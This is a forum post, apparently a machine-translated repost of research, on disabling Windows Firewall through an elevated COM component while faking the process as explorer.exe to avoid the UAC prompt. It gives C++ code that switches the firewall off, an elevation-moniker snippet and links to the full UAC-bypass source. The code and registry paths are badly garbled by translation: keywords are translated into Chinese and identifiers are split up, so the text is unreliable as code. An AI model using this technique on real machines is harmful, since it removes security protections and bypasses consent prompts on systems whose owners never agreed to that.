XenoG 发布于2022年11月8日 分享 发布于2022年11月8日 0x00 前言 上一篇文章《通过COM组件IFileOperation越权复制文件》介绍了通过COM组件IFileOperation进行文件非授权复制的三种方法,我们得出结论:对于explorer.exe(或是模拟成explorer.exe),加载高权限的COM组件不会弹出UAC的对话框。 那么,这个推论适用于其他COM组件吗?有哪些COM组件可用? 本文将通过COM组件关闭防火墙的方法详细记录研究过程。 0x01 简介 寻找可以用高权限运行的COM组件。 关闭防火墙的c程序 添加代码以高特权运行COM组件。 添加代码模拟流程explorer.exe 完整的开源实现代码 0x02 寻找可以高权限运行的COM组件 通过COM组件的IFileOperation进行越权复制文件有一个前提:COM组件可以高权限运行。 对于IFileOperation,它提供了一个参数(SetOperationFlags)来指定启动的权限。 官方文件: https://msdn.microsoft.com/en-us/library/bb775799.aspx 为了找到其他可以高权限运行的COM组件,首先要想办法运行高权限的COM组件。 经过搜索,我找到了一个可以使用COM Elevation Moniker高权限运行COM组件的文档。 官方文件: https://msdn . Microsoft . com/en-us/library/windows/desktop/ms 679687(v=vs . 85)。aspx 通过研究官方文档,发现COM Elevation Moniker的使用对COM组件有如下要求: COM组件已注册。 注册位置在HKEY_LOCAL_MACHINE下,也就是需要用管理员权限注册这个COM组件。 在HKEY _本地_机器\软件\类\ clsid下,需要指定三个键值。 {CLSID},LocalizedString(REG_EXPAND_SZ):显示名称 {CLSID}/Elevation,icon reference(REG _ EXPAND _ SZ):application icon {CLSID}/Elevation,Enabled(REG_DWORD):1 注: 经过实际测试,以上三项缺一不可。 接下来,根据此要求在注册表中搜索可用的COM组件。 搜索位置:HKEY _本地_机器\软件\类\ clsid 搜索关键字:海拔 经过一段时间的搜索,我在以下位置找到了一个可用的COM组件:HKEY _本地_机器\软件\类\ clsid \ { e 2 B3 c 97 f-6ae 1-41ac-817 a-f6f 92166d 7 DDD } 信息如下 HKEY _本地_机器\软件\类\ clsid \ { e 2 B3 c 97 f-6ae 1-41ac-817 a-f6f 92166d 7 DDD } \ elevation的信息如下所示。 满足COM提升名字对象的要求 搜索名字“HNetCfg。FwPolicy2 "来发现这个COM组件与防火墙的操作有关。 0x03 编写c++程序实现关闭防火墙 对应COM接口INetFwProfile,我查了资料,试着写了个C程序实现。 通过COM接口INetFwProfile关闭防火墙的完整C代码如下: #include 'stdafx.h ' #包括 #包括 #包括 int _tmain(int argc,_TCHAR* argv[]) { INetFwMgr * g _ pFwMgr=NULL INetFwProfile * g _ pfw profile=NULL; INetFwPolicy * g _ pFwProlicy=NULL; CoInitializeEx(空,COINIT _多线程); VARIANT _ BOOL fwEnabled HRESULT HR=cocreate instance(_ _ uuidof(NetFwMgr),0,CLSCTX_INPROC_SERVER,__uuidof(INetFwMgr),reinterpret _ cast(g _ pFwMgr)); if(成功(hr) (g_pFwMgr!=NULL)) { HR=g _ pFwMgr-get _ local policy(g _ pFwProlicy); if(成功(hr) (g_pFwProlicy!=NULL)) { HR=g _ pfw profile-get _ current profile(g _ pfw profile); HR=g _ pfw profile-get _ firewall enabled(fw enabled); if (fwEnabled!=变体_FALSE) { printf('防火墙开启。\ n’); HR=g _ pfw profile-put _ firewall enabled(VARIANT _ FALSE); 如果(失败(小时)) { printf('put_FirewallEnabled失败:0xlx\n',HR); 返回0; } printf('防火墙现在关闭了。\ n’); } 其他 { printf('防火墙关闭。\ n’); } } } 返回0; } 首先,该程序读取防火墙配置,如果防火墙的状态为打开,则尝试将其关闭。 当然你需要管理员权限才能执行,但是执行之后就失效了。弹出框如下图所示。 然后找问题,找原因,公文: https://msdn . Microsoft . com/en-us/library/windows/desktop/aa 365287 原因如下: Windows防火墙API可用于要求部分指定的操作系统。在后续版本中,它可能会被更改或不可用。对于Windows Vista和更高版本,建议使用具有高级安全API的Windows防火墙。] 需要具有高级安全API的Windows防火墙,官方文档: https://msdn . Microsoft . com/en-us/library/windows/desktop/aa 366418 在以下地址查找关闭防火墙的实例: https://msdn . Microsoft . com/en-us/library/windows/desktop/DD 339606 找到的新COM组件是NetFwPolicy2。 示例的代码很清楚,但是为了匹配后来使用的COM提升名字对象,需要修改结构。 0x04 添加代码以高权限运行COM组件 官方文件: https://msdn . Microsoft . com/en-us/library/windows/desktop/ms 679687(v=vs . 85)。aspx 官方文件提供了一个例子,但需要做一些修改。 修改后的代码如下: HWNDhwnd=GetConsoleWindow(); BIND _ OPTS3bo WCHARwszCLSID[50]; WCHARwszMonikerName[300]; void * * ppv=NULL stringfromguid 2(_ _ uuidof(netfwpolicy 2),wszCLSID,sizeof(wszCLSID)/sizeof(wszCLSID[0]); HR=stringchprintf(wszMonikerName,sizeof(wszMonikerName)/sizeof(wszMonikerName[0]),L'Elevation:Administrator!新:%s ',wszCLSID); memset(bo,0,sizeof(bo)); bo . CB struct=sizeof(bo); bo.hwnd=hwnd bo . dwclasscontext=cls CTX _ LOCAL _ SERVER; HR=coge object(wszMonikerName,bo,IID _ PPV _ ARGS(pnetfwpolicy 2)); 对于CoGetObject(),第一个参数是GUID对应的字符串,需要指定为NetFwPolicy2,第三个参数是封装的,实际上是REFIID riid和void **ppv。 这段代码应该放在CoCreateInstance函数创建实例之后。 现在我们重新分析一下官方文档0x03中关闭防火墙的实现代码(包括示例代码): https://msdn . Microsoft . com/en-us/library/windows/desktop/DD 339606 关键代码如下 通过调用CoCreateInstance函数创建的实例单独写在一个函数WFCOMInitialize中。如果我们在WFCOMInitialize中实现COM提升Moniker来申请高权限,但是函数返回时修改值void **ppv无法传递(函数返回hr),也就是说,即使在函数WFCOMINITIZE中申请了高权限,跳出函数WFCOMINITIZE返回主函数后,后面使用的COM组件仍然是旧的低权限。 所以我们需要修改实例代码,提取调用CoCreateInstance函数的代码创建一个实例,放在main函数中。 0x05 添加代码模拟进程explorer.exe 这部分内容在之前的文章《通过COM组件IFileOperation越权复制文件》中已经介绍过,对应方法2,代码供参考: https://github . COM/3g student/Use-COM-objects-to-bypass-UAC/blob/master/masqueradepeb . CPP 修改当前进程的PEB结构,欺骗PSAPI,将当前进程模拟为explorer.exe。 完整的代码已经开源,地址如下: https://github . COM/3g student/Use-COM-objects-to-bypass-UAC/blob/master/disable firewall . CPP 0x06 小结 介绍了通过COM组件越权关闭防火墙的思想和实现方法,并验证了推论:对于explorer.exe(或模拟explorer . exe),加载高权限的COM组件不会弹出UAC的对话框。 留下回复 链接帖子 意见的链接 分享到其他网站 更多分享选项…
推荐的帖子